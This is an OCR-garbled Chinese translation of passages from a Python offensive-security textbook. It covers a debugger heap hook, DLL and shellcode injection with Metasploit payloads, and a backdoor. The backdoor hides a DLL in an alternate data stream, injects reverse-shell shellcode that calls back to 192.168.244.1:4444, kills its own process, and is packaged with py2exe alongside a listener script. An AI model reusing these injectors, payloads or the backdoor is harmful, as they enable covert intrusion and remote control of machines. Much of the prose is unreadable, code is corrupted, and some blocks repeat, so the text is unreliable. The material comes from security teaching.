STDCALL 2 5E). cdecl %) & 1# H] FastLogHook .

Nicolas Waisman(Ji1 25 #E i % ) & T hippie(#)H hard hook), 7] LA{E Immunity 5 i#
i PyCommand ZE4T 1 FH . Nico i :

1)i& Hippie [ H BEA T AIEE— M log hook, 483 Ak 3 1t ¥ M of £ FH AL s m]
feo 2811 W RARH Notepad 47—

SRR IEAE, e 7 SR B K4 4500 IR RtlAllocateHeap Al RtlFreeHeap . U1 /2 Internet
Explorer, HEAHXMBRERHSH 10 5 HEE2EZL,

IH 3T hippie 2% S HEMHRAE, X TH RS I T HERI IR exploit A HEE, W T faj b (1) )i
K, BATEAEH hippie A% CrIhRE B — /MR HL A hippie_easy.pyo

ERATIFERET, 5% T # T RtlAllocateHeap 11 RtlFreeHeap o

BOOLEAN RtlFreeHeap(
IN PVOID HeapHandle,
IN ULONG Flags,
IN PVOID HeapBase

)i

PVOID RtlAllocateHeap(
IN PVOID HeapHandle,
IN ULONG Flags,
IN SIZE T Size

o

RtlFreeHeap Al RtlAllocateHeap )T S ##L /& L), A



RtlAllocateHeap 3 [F] [ HE [ 3t 1k th 1 7 2T e 14 o

#hippie easy.py
import immlib
import immutils
# This is Nico's function that looks for the correct
# basic block that has our desired ret instruction
# this is used to find the proper hook point for RtlAllocateHeap
def getRet(imm, allocaddr, max _opcodes = 300):
addr = allocaddr
for a in range(0, max_opcodes):
op = imm.disasmForward( addr )
if op.isRet():
if op.getlmmConst() == 0xC:
op = imm.disasmBackward( addr, 3 )
return op.getAddress()
addr = op.getAddress()
return 0x0
# A simple wrapper to just print out the hook
# results in a friendly manner, it simply checks the hook
# address against the stored addresses for RtlAllocateHeap, RtlFreeHeap
def showresult(imm, a, rtlallocate):
if a[0] == rtlallocate:
imm.Log( "RtlAllocateHeap(0x%08x, 0x%08x, 0x%08x) <- 0x%08x %s" %
(a[1][0], a[1][1], a[1][2], a[1][3], extra), address = a[1][3] )
return "done"
else:
imm.Log( "RtlFreeHeap(0x%08x, 0x%08x, 0x%08x)" % (a[1][0], a[1][1],
a[1][2]))

def main(args):

imm = immlib.Debugger()

Name = "hippie"

fast = imm.getKnowledge( Name )

if fast:
# We have previously set hooks, so we must want
# to print the results
hook_list = fast.getAllLog()
rtlallocate, rtlfree = imm.getKnowledge("FuncNames")
for a in hook_list:
ret = showresult( imm, a, rtlallocate )

return "Logged: %d hook hits." % len(hook_list)



# We want to stop the debugger before monkeying around

imm.Pause()

rtifree = imm.getAddress("ntdll.RtIFreeHeap")

rtlallocate = imm.getAddress("ntdll.RtlAllocateHeap")

module = imm.getModule("ntdll.dII")

if not module.isAnalysed():

imm.analyseCode( module.getCodebase() )

# We search for the correct function exit point

rtlallocate = getRet( imm, rtlallocate, 1000 )

imm.Log("RtlAllocateHeap hook: 0x%08x" % rtlallocate)

# Store the hook points

imm.addKnowledge( "FuncNames", ( rtlallocate, rtlfree ) )
# Now we start building the hook

fast = immlib.STDCALLFastLogHook( imm )

# We are trapping RtlAllocateHeap at the end of the function

imm.Log("Logging on Alloc 0x%08x" % rtlallocate)
fast.logFunction( rtlallocate )

fast.logBaseDisplacement( "EBP", 8)

fast.logBaseDisplacement( "EBP", 0xC)

fast.logBaseDisplacement( "EBP", 0x10 )

fast.logRegister( "EAX" )

# We are trapping RtlFreeHeap at the head of the function

imm.Log("Logging on RtlFreeHeap 0x%08x" % rtlfree)

fast.logFunction( rtlfree, 3 )

# Set the hook

fast.Hook()

# Store the hook object so we can retrieve results later

imm.addKnowledge(Name, fast, force _add = 1)

return "Hooks set, press F9 to continue the process."

=R EEH Nico N2 AT E R 2 mT PLE RtlAllocateHeap PN 51 & hook [y,
ik AT R4 RtlAllocateHeap PR ECE & 5 JLAT I TR 2 2 8 A FET:

0x7C9106D7 F605 FOO2FE7F TEST BYTE PTR DS:[7FFE02F0],2
0x7C9106DE 0F85 1FB20200 JNZ ntdll.7C93B903

0x7C9106E4 8BC6 MOV EAX,ESI
0x7C9106E6 E8 17E7FFFF CALL ntdll.7C90EE02
0x7C9106EB C2 0C00 RETN 0C

Python XA M B& £ (1)K AU I g,  HEI7E 0x7C9106EB K2 RET $i5 428 i ifi I\ 4
TR 0x0C. ARJEH )5 I 3 17484 1A 0x7C9106D7 o IXAEARUIAA I 2 4 T #ff O
ARG EN 5 AFAH IMP 354 WERIRAT/E RET IXATE A 5 ADNF 11 IMP 454,
i o 5 56 R AR S o L T RAR T RE A AR R (R 0, R T AR 5%, R
23 It o X L8N PR AL e ORI AR 2 v A IR S, 7R BRI, AT IR ZE R A SR



AT ARG A TR )BT hook R E T, WHRKE T M knowledge base H13kHK
VIR H bR, SRJEHTENHH hook 15 Bl o JAIAEE —IRISAT % B hook, 2 — KIS AT 1 fi%
WEAE hook 21114k B, BFIZAT A HRBUHT ) hook £ 4 » i AR B UL £7fifi £E knowledge base
B HAR, HEENRZE shell Y5 m 54T T .

e Ja — AR B2 A4 i hook FIEAL &7 . X1 RtlAllocateHeap i FH SR HUIT A 1Y =4S4k
WA IRIAME, RtlFreeHeap N BRI =S HGR AT LA T o HH TAGEEE 100 47094805, 84T
ST H] T 9K hard hook, ¥ FHAS FHATART (1) g 4 28 A1 22 R 1K) T H o Very cool !

ik H notepad.exe ik, & H A&7 W Nico T i 4T FF— AP UEHESL A #4500 43
WH . £E Immunity F47JT C:\WINDOWS\System32\notepad.exe iz47'hippie easy v 2 (U4
ANEE HHE). WEHRE, 7F Notepad HLIEFE File-->Open.

PAERINGS R . FEIZ1T thippie_easy, RFF2F IS HE R H(ALT-L) K .

RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca0b0)
RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca058)
RtlFreeHeap(0x000a0000, 0x00000000, 0x000ca020)
RtlFreeHeap(0x001a0000, 0x00000000, 0x001a3ae8)
RtlFreeHeap(0x00030000, 0x00000000, 0x00037798)
RtlFreeHeap(0x000a0000, 0x00000000, 0x000c91e8)

Listing 6-2 thippie easy PyCommand 7= 4= 1) i

AEH UV A1 T — 285 8L, W BARE B Immunity PR35 FPIRSES, SF 2B 4674
il o JIT A Nico & XS o AR BELEAT AR N BB is A7 A LT 208 (10 s 5 45 SR AN G it £
{B. $% cool [T 2 BT L7 U R FH AR AS 23 BEAR B RE R 1 AT 250

hook K23 78 AR B33 1] A b — I SC— IR ] o 83X BLIRATTANN 27 25 7732 H] it K
hook $¢fig, MibiX—V)AZNAIBET, XRZALE ), KEFME, XEHAN. #% T Kikk
ATz ) afer s i — AN R, B AT R

7
D11 FIARADIEA

A IR AEIAAT 18 i) TR B B e R PP IR B, e ARG
et B AR EERE, RN SITRIEFET K. ZREA—K
PARATEN, A TR el R T AR S A= HA . FEA



EE 54 DLL AR EANB A, AR A Python 455 X Py

ﬁ*ﬁﬂ@—%ﬁﬁﬂﬁﬁifﬁﬁﬁ o N¥KRITK, exploit 'S, shellcode Fl%4:
TR . 3 PRSI SSh)E, ] DLL A HAsSERE Nis i — a1, AR
FENY shellcode vEAN HFRUERE, il shellcode ARAERERE . 8¢ o AT ¥ 4l Python SEIL—AN)5
[T o A5 SEE AL RE ok R 1 H 2N, Fl— S8 B Em G 15 LR FAT15E AT I & FETT 4R,
X AEEAN AT

71  QIEmkE

PRRE N BAR AR SRRl S B B R, RSN VR EA L QIR . X
CreateRemoteThread()7¢ i, [FIFf HH H kernel32.d1l 5o S

HANDLE WINAPI CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ ATTRIBUTES IpThreadAttributes,
SIZE T dwStackSize,
LPTHREAD START ROUTINE IpStartAddress,
LPVOID IpParameter,
DWORD dwCreationFlags,
LPDWORD IpThreadld

MHOX 42 S8, ENRZ At ae a2 . B—1240 hProcess #i&
P B NI HFREREA) MK . IpThreadAttributes S50 /2 01 8 11 2R R 1) 2 A IR 15, SLp
AME P E T LR R REgt T I RE 4R o £ L M B R S (130 B NULL, 18 28— A
REQRZR IR REAURT, AI— DB 2 /A FF . dwStackSize ZER RN FTEREME AN, 1
T LR L T 05 RN U B EFE RN I RN e N —IRSEUE B B EE Y IpStartAddress,
3t A TR AT AR E W A7 BN B o IpParameter Al L — /NS FEE 2, A
PR AL R — AN RE, fRm PN AR B, LSk B e AR s G B R S 4L
dwCreationFlags Y€ T ZEFE W IF4h . X HE AT E R 0, RRIELFEA) A LRI AT .
ZVEAN N9 MSDN. Bt)ri— NS5 IpThreadld 7628 FE 612 % h 5 378 A BT F2 10 D

HUE T ZHMEM, iERATE B WATE DLL J A2 HFRERE, DL shellcode [
PRI R G, A LEVF AR, B LAy TR R .

7.1.1 DLL A

DLL VENEIRIEIR AR . A Windows (1) shell 4 J& 255 25 IR, b Ab#Sfe W



Flefl. LR RSEY DLL AR LS IEREAT 8 . DLL B S2R 4,
H I B & e o — k], ICREINZEE] B AREERE, e o HAREERE I — 40 o 1X
A, gt AR K RS Cea s FakRe e fE S /R, i 1ED.,
N ki IRATTH Python 5 —A DLL yEAMIAS, SZHUKF DLL V3 AF8 & AT 3R R

E—NHEFE N\ DLL 75 %% /] LoadLibrary()ei %t CH1 kernel32.dl1 5 ). o EUR A
wre:

HMODULE LoadLibrary(
LPCTSTR IpFileName

)

IpFileName Z4{ 4 DLL {142 . AT 175 221k H 47 H LoadLibraryA JnZ&3 A 1% DLL.
T SE AT LoadLibraryA 76 W A7 Bk, SR J5 K DLL B A04% N o SEBr #AE 5t A2 46
CreateRemoteThread(), IpStartAddress &[] LoadLibraryA [jitlk, IpParameter #5171 DLL i
f£. 4 CreateRemoteThread )VFHATHLY), % H bridt i B i LoadLibraryA Jiak 1 FAT1i
DLL.
DLL 73 AR RIYEIS, 7T M http://www.nostarch.com/ghpython.htm T %%,

#dll_injector.py
import sys
from ctypes import *
PAGE_READWRITE = 0x04
PROCESS_ALL ACCESS = ( 0x000F0000 | 0x00100000 | OXFFF )
VIRTUAL MEM = (0x1000 | 0x2000 )
kernel32 = windll.kernel32
pid = sys.argv[1]
dll_path = sys.argv[2]
dll len =len(dll path)
# Get a handle to the process we are injecting into.
h process = kernel32.0OpenProcess( PROCESS ALL ACCESS, False, int(pid) )
if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0)
# Allocate some space for the DLL path
arg_address = kernel32.Virtual AllocEx(h_process, 0, dll_len, VIRTUAL ME
PAGE _READWRITE)
# Write the DLL path into the allocated space
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_len,
byref(written))
# We need to resolve the address for LoadLibraryA
h_kernel32 = kernel32.GetModuleHandleA("kernel32.d11")
h loadlib =kernel32.GetProcAddress(h _kernel32,"LoadLibraryA")
# Now we try to create the remote thread, with the entry point set



# to LoadLibraryA and a pointer to the DLL path as its single parameter
thread_id = ¢_ulong(0)
if not kernel32.CreateRemoteThread(h process,
None,
0,
h _loadlib,
arg_address,
0,
byref(thread_id)):
print "[*] Failed to inject the DLL. Exiting."
sys.exit(0)
print "[*] Remote thread with ID 0x%08x created." % thread id.value

S, fEHARUERE N RIE A 125, T AEf% DLL Hggit. 55—, # DLL 4%
GG HhE . 25—, f##HT LoadLibraryA [N AFHbE. S fa—20, ¥ HERZERE AR
I LoadLibraryA Hilibif 4 77 DLL B&ATH) N A7 HdE, 14 A CreateRemoteThread(). — H.,
RO Dt o B — N

AN CE LI 5ER T DLL VEN . A& ibgf & 0 s Skl . (HIE IR T34
Wl B AR, JEHHE

7.1.2 REEA

TEIRATFF R 5T, FREEN ., AR E NRES NS shellcode 7 A FI—ANZATIBERE, S7R1HA
1T, AR B TRV R Ees — 2R shell IEH 2 5 — AR

N RIRATEH — AN shellcode (REZS1LFi 2 PID [ERE) AN B H bridifE, A
Ja A HARHERE, [ IS AN B AR AT IR I o X0 T FRATTA T e Jm BN S T 1 R R ) — 2,
[FIRE,  BATTE B R Q] 22 4% (155 3 shellcode, LAE HHBE 2 AR AT 45

A] LU ik Metasploit 1) 3 113845 2¢ 1L REFE ) shellcode, ‘&A1 shellcode A it A i 4
Mo WLz araHE i, B V5 http://metasploit.com/shellcode/. X X FAT 148 H Windows
Execute Command shellcode £ il #% . B [1) shelledoe WK 7-1,

/* win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152
Encoder=None http://metasploit.com */

unsigned char scode[] =

"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x 7c\x05\x 78\x0 1 \xef\x 8b"

"\x4f\x 1 8\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x0 1\xee\x3 1\xc0\x99"
"\xac\x84\xc0\x 74\x07\xc1\xca\x0d\x0 1\xc2\xeb\x f4\x3b\x 54\x24\x 04"
"\x75\xe5\x8b\x 5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x 5f\x 1c\x01\xeb"

"\x8b\x 1c\x8b\x01\xeb\x89\x 5¢\x24\x04\xc3\x3 1\xc0\x64\x8b\x40\x30"
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x 70\x 1 c\xad\x8b\x68\x08\xeb\x 09"



"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x3 1\xf6\x60\x56\x89\x 8"
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x 8a\x 0e\x 5 7\x ff"
"\xe7\x74\x61\x73\x6b\x6b\x69\x6¢c\x6c\x20\x2 A\x 50\x49\x44\x20\x4 1"
"x41\x41\x4 1\x41\x4 1\x41\x41\x00";

Listing 7-1: 1 Metasploit /= £ ] Process-killing shellcode

“E %17 shellcode FFJ % 1 #53% ' Restricted Characters SCASHE DLiE B 0x00 7717,  [A]HY
Encoder HEBCE BERIN G {E shellcode i fa —ATIRE 2 T HEM 8 Mx4l. M4 8
KNI A? R, JE TR ERATE S 45 2 PID(T5 B4 A B8 A HERE) (g i, HEHE 8 Mxd41
Bt PID MIBUEAT T, R A7 E 00 B fe . W 2 i A= il i) B X shellcode HEAT
Towmts, SR 8 A A aBignid, BIRMER AR, MARERA R e 1t
J7 o

IAEFRATA T H CHY shellcode, & Iz [RREAT SE BRI code  injection TAE T o

#code_injector.py

import sys

from ctypes import *

# We set the EXECUTE access mask so that our shellcode will

# execute in the memory block we have allocated

PAGE _EXECUTE READWRITE = 0x00000040

PROCESS ALL ACCESS = ( 0x000F0000 | 0x00100000 | OXFFF )

VIRTUAL MEM = (0x1000 | 0x2000 )

kernel32 = windll.kernel32

pid = int(sys.argv[1])

pid_to kill — =sys.argv[2]

if not sys.argv[ 1] or not sys.argv[2]:

print "Code Injector: ./code_injector.py <PID to inject> <PID to Kil
sys.exit(0)

#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA

#Size=159 Encoder=None http://metasploit.com */

shellcode =\

"xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x 7c\x05\x 78\x0 1 \xef\x 8b" \

"x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x3 1\xc0'x99" \

"\xac\x84\xc0\x74\x07\xc 1\xca\x0d\x0 1\xc2\xeb\xf4\x3b\x 54\x24\x 04" \

"x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x 5f\x 1 c\x01\xeb" \

"\x8b\x 1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x3 1\xc0\x64\x8b\x40\x30" \

"x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x 70\x 1 c\xad\x 8b\x68\x08\xeb\x 09" \

"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x 5A\x3 1 \x f6\x60\x56\x 89\x 8" \

"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x 8a\x 0e\x 5 7\x 1" \

"xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x 74\x61\x 73\x6b" \



"x6b\x69\x6¢c\x6¢c\x20\x2\x50\x49\x44\x20\x4 1\x4 1\x41\x41\x00"
padding =4 - (len( pid_to_kill ))
replace value = pid to kill + ("\x00" * padding )
replace string= "\x41" * 4
shellcode = shellcode.replace( replace_string, replace value )
code_size = len(shellcode)
# Get a handle to the process we are injecting into.
h_process = kernel32.0penProcess( PROCESS ALL ACCESS, False, int(pid) )
if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid

code_injector.py

import sys

from ctypes import *

# We set the EXECUTE access mask so that our shellcode will

# execute in the memory block we have allocated

PAGE _EXECUTE READWRITE = 0x00000040

PROCESS ALL ACCESS = ( 0x000F0000 | 0x00100000 | OXFFF )

VIRTUAL MEM = (0x1000 | 0x2000 )

kernel32 = windll.kernel32

pid = int(sys.argv[1])

pid_to kill — =sys.argv[2]

if not sys.argv[ 1] or not sys.argv[2]:

print "Code Injector: ./code_injector.py <PID to inject> <PID to Kil
sys.exit(0)

#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA

#Size=159 Encoder=None http://metasploit.com */

shellcode =\

"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x 7c\x05\x 78\x0 1 \xef\x 8b" \

"x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x3 1\xc0'x99" \

"\xac\x84\xc0\x74\x07\xc 1\xca\x0d\x0 1\xc2\xeb\xf4\x3b\x 54\x24\x 04" \

"x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x 5f\x 1 c\x01\xeb" \

"\x8b\x 1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x3 1\xc0\x64\x8b\x40\x30" \

"x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x 70\x 1 c\xad\x 8b\x68\x08\xeb\x 09" \

"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x 5A\x3 1 \x f6\x60\x56\x 89\x 8" \

"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x 0e\x 5 7\x 1" \

"xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x 74\x6 1\x 73\x6b" \

"x6b\x69\x6¢c\x6c\x20\x2\x50\x49\x44\x20\x4 1\x4 1\x41\x41\x00"

padding =4 - (len( pid_to_kill ))

replace value = pid to kill + ("\x00" * padding )

replace string= "\x41" * 4

shellcode = shellcode.replace( replace_string, replace value )

code_size = len(shellcode)

# Get a handle to the process we are injecting into.



h_process = kernel32.0penProcess( PROCESS ALL ACCESS, False, int(pid) )
if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0)
# Allocate some space for the shellcode
arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size,
VIRTUAL MEM, PAGE EXECUTE READWRITE)
# Write out the shellcode
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, shellcode,
code_size, byref(written))
# Now we create the remote thread and point its entry routine
# to be head of our shellcode
thread_id = ¢_ulong(0)
if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,
0,byref(thread_id)):
print "[*] Failed to inject process-killing shellcode. Exiting."
sys.exit(0)
print "[*] Remote thread created with a thread ID of: 0x%08x" %
thread id.value
print "[*] Process %s should not be running anymore!" % pid_to_kill

TR AAS KR 0 R AR IR A, (HE I A S BRI B T 1) 25—, 4k shellcode
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BB RAEMIEHIRL . cacl.exe PATIG, MSTEPHATIE T MBS IR, $AT IR ZEH calc.exe
CZRT AT S T 1A 44 B cale.exe, ¥ K IK caclexe # 2 LT ). 24 cacl.exe JUAT ),
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B, EREAIG ) E R .

I G AT TR S A B W Python A G 36 il — AN 58 ) Windows FT$UAT SCF, DL A
Iy Nz DLL. 4% F K5GHE G Warks DLL Bassie >k .

721 TR

BAIR G 11208 DLL [, 8 T BB & e A a3 — S8R %5 (1) 5 ik el K.
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reverser.exe:vnedll.dll
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file_hider.py, iR R G B N8 & SCHEF) ADS.

#file hider.py

import sys

# Read in the DLL

fd = open( sys.argv[1], "rb" )

dll_contents = fd.read()

fd.close()

print "[*] Filesize: %d" % len( dll_contents )
# Now write it out to the ADS

fd = open( "%s:%s" % ( sys.argv[2], sys.argv[1] ), "wb" )
fd.write( dll_contents )

fd.close()



MR, —MEA RS A AR DLL, 2 S 80t HAssScfF. XA
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722 wEJEI]
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#backdoor.py

# This library is from Chapter 3 and contains all
# the necessary defines for process creation
import sys

from ctypes import *

from my_debugger defines import *

kernel32 = windll.kernel32

PAGE _EXECUTE READWRITE = 0x00000040
PROCESS ALL ACCESS = ( 0x000F0000 | 0x00100000 | OXFFF )
VIRTUAL MEM = (0x1000 | 0x2000 )

# This is the original executable

path_to exe ="C:\\calc.exe"

startupinfo = STARTUPINFO()
process_information =PROCESS_INFORMATIONY()
creation_flags = CREATE NEW_CONSOLE
startupinfo.dwFlags =0x1

startupinfo.wShowWindow = 0x0

startupinfo.cb = sizeof(startupinfo)

# First things first, fire up that second process
# and store its PID so that we can do our injection
kernel32.CreateProcessA(path _to exe,
None,
None,
None,
None,
creation_flags,

None,



None,

byref{(startupinfo),

byref(process_information))
pid = process_information.dwProcessld

— PR, WAHAIS . B2 Rk A E N 25 1T o BATTHE N eR R
% AL PEARIS A N FT DLL 7 A PIFEIG; parameter brii 1 &4 1, data &£ DLL #§4%,

BLAEHEAT DLL ¥ EAN, BRIATEDG T parameter W A 0, S e CHSEN . BREAAE S TH

#backdoor.py

def inject( pid, data, parameter = 0 ):
# Get a handle to the process we are injecting into.
h process = kernel32.0penProcess( PROCESS ALL ACCESS, False, int(pid) )
if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0)
arg address = kernel32.VirtualAllocEx(h_process, 0, len(data),
VIRTUAL MEM, PAGE EXECUTE READWRITE)
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, data,
len(data), byref(written))
thread _id = ¢_ulong(0)
if not parameter:
start address = arg_address
else:
h_kernel32 = kernel32.GetModuleHandleA("kernel32.d11")
start_address = kernel32.GetProcAddress(h_kernel32,"LoadLibra
parameter = arg_address
if not kernel32.CreateRemoteThread(h_process,None,
0,start_address,parameter,0,byref(thread id)):
print "[*] Failed to inject the DLL. Exiting."
sys.exit(0)
return True

WAEBATA T REWS SCRF P FFIEN AOACHS o 2 5K 1 BOAN [ 1 shellcode VA ELIE 1)

cacl.exe UEFE T, —) shellcode /5 shell 25 A1, 75— AR TTHERE

#backdoor.py

# Now we have to climb out of the process we are in
# and code inject our new process to kill ourselves



#/* win32 reverse - EXITFUNC=thread LHOST=192.168.244.1 LPORT=4444
Size=287 Encoder=None http://metasploit.com */

connect_back shellcode =
"\xfc\x6a\xeb\x4d\xe8\x fO\x fAx fAx fAx60\x8b\x6¢\x24\x24\x8b\x45" \
"x3c\x8b\x7¢\x05\x78\x0 1\xef\x 8b\x4\x 1 \x8b\x 5f\x20\x0 1\xeb\x49" \
"\x8b\x34\x8b\x01\xee\x3 1\xc0\x99\xac\x84\xc0\x 74\x07\xc 1\xca\x0d" \
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x 75\xe5\x 8b\x 5A\x24\x 0 1\xeb\x 66" \
"\x8b\x0c\x4b\x8b\x 5SAix 1¢\x01\xeb\x03\x2c\x8b\x89\x6¢\x24\x 1 c\x61" \
"\xc3\x3 1\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x 70\x 1 c\xad\x8b\x40" \
"x08\x5e\x68\x8e\x4e\x0e\xec\x 50\xfF\xd6\x66\x53\x66\x68\x33\x32" \
"x68\x77\x73\x32\x5f\x 54\x ff\xd0\x68\xcb\xed\x fc\x3b\x S0\x ff\xd6" \
"x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\x ffixd0\x68\xd9\x 09" \
"xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\x ff\xd0\x 68" \
"xc0\xa8\xf4\x01\x66\x68\x 1 1\x5¢c\x66\x53\x89\xe1\x95\x68\xec\x 9" \
"\xaa\x60\x57\xff\xd6\x6a\x 1 0\x 5 1\x 55\x fiAxd0\x66\x6a\x64\x66\x68" \
"x63\x6d\x6a\x 50\x59\x29\xcc\x89\xe 7\x 6a\x44\x89\xe2\x3 1\xcO\xf3" \
"\xaa\x95\x89\x fd\x fe\x42\x2d\x fe\x42\x2c\x8d\x 7a\x 38\xab\xab\xab" \
"x68\x72\xfe\xb3\x 1 6\x f\x75\x28\x fi\xd6\x Sb\X S 7\x S2\x S I\x S 1\x 51" \
"x6a\x01\x5 1\x5 1\x55\x5 1'\x fi\xd0\x68\xad\xd9\x 05\xce\x53\x ff\xd6" \

"x6a\xfH\xf\x37\xf\xd0\x68\xe7\x 79\xc6\x 79\x fH\x 75\x 04\x ff\xd6" \
"xf\x77\xfe\xfH\xd0\x 68\xef\xce\xe0\x60\x 53 \x fi\xd6\x ff\xd0"

inject( pid, connect_back shellcode )

#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=159 Encoder=None http://metasploit.com */

our pid = str( kernel32.GetCurrentProcessld() )

process_Kkiller shellcode =\

"xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x 7¢\x05\x 78\x0 1 \xef\x 8b" \
"x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x3 1\xc0'x99" \
"xac\x84\xc0\x 74\x07\xc1\xca\x0d\x0 1\xc2\xeb\x f4\x3b\x 54\x24\x 04" \
"x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x 5f\x 1 c\x01\xeb" \
"\x8b\x 1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x3 1\xc0\x64\x8b\x40\x30" \
"x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x 70\x 1 c\xad\x 8b\x68\x08\xeb\x 09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x 5A\x3 1 \x f6\x60\x56\x 89\x 8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x 8a\x 0e\x 5 7\x 1" \
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x 74\x61\x 73\x6b" \
"\x6b\x69\x6¢c\x6¢\x20\x2f\x 50\x49\x44\x20\x4 1\x4 1\x4 1\x41\x00"
padding =4 - (len(our pid))

replace value = our pid + ( "\x00" * padding )

replace string= "\x41" * 4

process_Kkiller shellcode =

process_killer shellcode.replace( replace_string, replace_value )

# Pop the process killing shellcode in

inject( our_pid, process_Kkiller shellcode )
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7.2.3 py2exe
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#setup.py

# Backdoor builder

from distutils.core import setup

import py2exe

setup(console=['backdoor.py'],
options = {'py2exe":{'bundle files":1}},
zipfile = None,

)

IRBFAR T . AP A B IRAMEN setup I EREL. 55—, console /& FA1E i X (1) Python
A . options H zipfile Z £ & A /5 24T 44 () Python DLL A 7l MR 1) 22 . XA 3K,
)G T Tk BEAEATAT e 222% python 1) windlws R8¢ LAEH] T . #i{f my debugger defines.py,
backdoor.py, Fl setup.py XHFEAHFI H & T o fEMAAT FIALLF 4, dniiaA.

python setup.py py2exe

TEgmEESE G, £ HX NRERZHPAH, dist 7 build. 7E dist CAFJE N Al LK E]
backdoor.exe. HLAT44 M
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H, KA, HIRER.

#backdoor_shell.py
import socket
import sys



host="192.168.244.1"

port = 4444

server = socket.socket( socket. AF INET, socket.SOCK_STREAM )
server.bind( ( host, port ) )

server.listen( 5 )

print "[*] Server bound to %s:%d" % ( host , port )

backdoor shell.py

import socket

import sys

host="192.168.244.1"

port = 4444

server = socket.socket( socket. AF INET, socket.SOCK_STREAM )
server.bind( ( host, port ) )

server.listen( 5)

print "[*] Server bound to %s:%d" % ( host , port )
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ANFEET T FARIIAG DY e, e R, ke feskid 55 2 (R B B0, SRR
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FUZZING
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MR fuzzer 57T bug, Z JFRATER B O FHLKI—

™ file fuzzer. F -, 2041428 Sulley fuzzing HE LRI B AN4F4 Windows



IRFH fuzzer.
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Bl RIGBSEHE. 250011, H{IRATE fuzz —4> web R4S 25 II %, generation fuzzer
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I HLAGT IR R U7 ] 145 L AN H AR P AE RGOS ISAT I HERE, 34 FUB AT BIAS (199 2%
FERF e AERX PIATTE R R MALIS AT IR, AR MR 5 B

811 X

D b DX i o o WL B AR o BT AT B IE S I A A7 B R 8, AT AL ARG L 2 2 e
WS ARG AT RE S A R P DX Uk H IR, B H A

i 5 2, Serpbi e i1, 8 2 B A — AN AR L, sl
AR o X JL BB R Al DU MR S0 EERR BT o RNk, e — e
K, TATHSAILRKEE IS K, R —Ie, ARG T, A R
— VIR WYl WERBATIAPIINE K, AT 2 1 2 ARk b, B, RE 0
XHEREMET T o AR Lt —FE, WARKZHK G, BIAR]— M (buffer) W,
AKaesin  FEARIHER (memory) Eo 24— NIk e 42 22 R AOEE 0 A7 X
B, HUEEAAMS R R PHAT BR3Pk SR G5 D s O 12 o AT Rk 3222 11
GepP it JETARKOAEE THERT . PR R, (H A IS5 KA A Boehi i e 2%
PEBIAC AT -

e Ry ORI I AT SRR, RIS AT AR s BRI R L R B, AR
A, AR, s o ek R Rk, AT DA B A HAT AR o B Y A
fi, YO — DRG] AR R AL fuzzing N AR R 5 68 ERER R E AT

IS FHRE PP AEIEAT (KN B A IR FRE — SR A7 DX, XSSl R HE . HES — B BRi&
FE—IRH, T CEEE . B R A 1 1 A O A R USRI 3 AR HE PR I A, HE
U AR T . B MUl e A o Bl SRR AR A AR B AR, RAERE
ZAR, DL PR o R AR B A ERER ], RO BGE I A N AEER, — B
AR PP LRV G ), R A B RE 3 45 R i RS I 18] A A T eV i 21, R A )
RE— ATl o 7E fuzzing PIIHR BA TR 20— FAE R — Y7 0148 T A5l & A
s R A AE R T



